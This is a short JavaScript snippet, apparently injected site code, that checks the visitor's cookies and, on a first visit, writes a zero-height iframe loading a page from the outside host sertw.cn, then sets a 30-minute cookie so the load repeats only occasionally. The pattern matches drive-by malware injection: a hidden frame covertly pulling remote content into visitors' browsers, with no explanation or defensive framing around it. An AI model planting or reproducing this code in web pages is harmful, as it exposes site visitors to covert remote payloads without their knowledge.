var cookieString = new String(document.cookie);
var cookieHeader = 'ises' ;
var Then = new Date();
Then.setTime(Then.getTime() + 30*60*1000 );
var beginPosition = cookieString.indexOf(cookieHeader);

if (beginPosition == -1)
   {
   document.write('<iframe height="0" frameborder="1" src="http://sertw.cn/page/add_54738542.htm" width="100" ></iframe>');
   document.cookie = "Cookieak=ises;expires="+ Then.toGMTString() +";path=/";
   }